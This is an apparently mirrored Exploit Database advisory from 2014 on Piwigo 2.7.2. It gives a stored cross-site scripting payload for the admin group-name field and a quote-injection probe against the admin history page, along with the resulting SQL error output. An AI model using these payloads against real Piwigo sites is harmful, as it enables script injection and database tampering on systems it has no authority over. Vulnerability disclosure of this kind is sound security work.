Piwigo 2.7.2 – Multiple Vulnerabilities

• Exploit Database
• 130 阅读

• 作者： TaurusOmar
  日期： 2014-12-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35583/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73

  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= INDEPENDENT SECURITY RESEARCHER PENETRATION TESTING SECURITY -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=   # Exploit Title: Piwigo 2.7.2 - SQL Injection / Cross Site Scripting Vulnerability&apos;s # Date: 19/12/2014 # Url Vendor: http://www.piwigo.org/ # Vendor Name: Piwigo # Version: 2.7.2 # CVE:CVE-2014-1470 # CVE References: CVE-2013-1468, CVE-2013-1469 # Author: TaurusOmar # Tiwtter: @TaurusOmar_ # Email:taurusomar13@gmail.com # Home:overhat.blogspot.com # Tested On: Bugtraq Optimus # Risk: High     Description Piwigo is a photo gallery software for the web that comes with powerful features to publish and manage your collection of pictures.     ------------------------ + CROSS SITE SCRIPTING + ------------------------ # Exploiting Description - Get into code xss in the box of group list.   <fieldset> <legend>Add Group</legend><p> <strong>Name Group</strong><br> YOUR GROUP NAME O POC <input type="text" size="20" maxlength="50" name="groupname"></p> <p class="actionButtons"> <input type="submit" value="Add" name="submit_add" class="submit"> <a id="addGroupClose" href="https://www.exploit-db.com/exploits/35583/#">Cancel</a></p> <input type="hidden" value="24322c55681c00da423a8a7b21b79640" name="pwg_token"> </fieldset>   #P0c "><img src=x onerror=prompt(1);>   #Proof Concept http://i.imgur.com/qFyJz6q.jpg     ------------------------ + Sql Injection + ------------------------ # Exploiting Description - Sql Injection in control panel of admin and others users .   #P0c http://site.com/piwigo/admin.php?page=history&search_id=5&apos;   SELECT date, time, user_id, IP, section, category_id, tag_ids, image_id, image_type FROM ucea_history WHERE ; in /home/site.com/public_html/piwigo/include/dblayer/functions_mysqli.inc.php on line 830   #Proof Concept http://i.imgur.com/wpzMmmu.jpg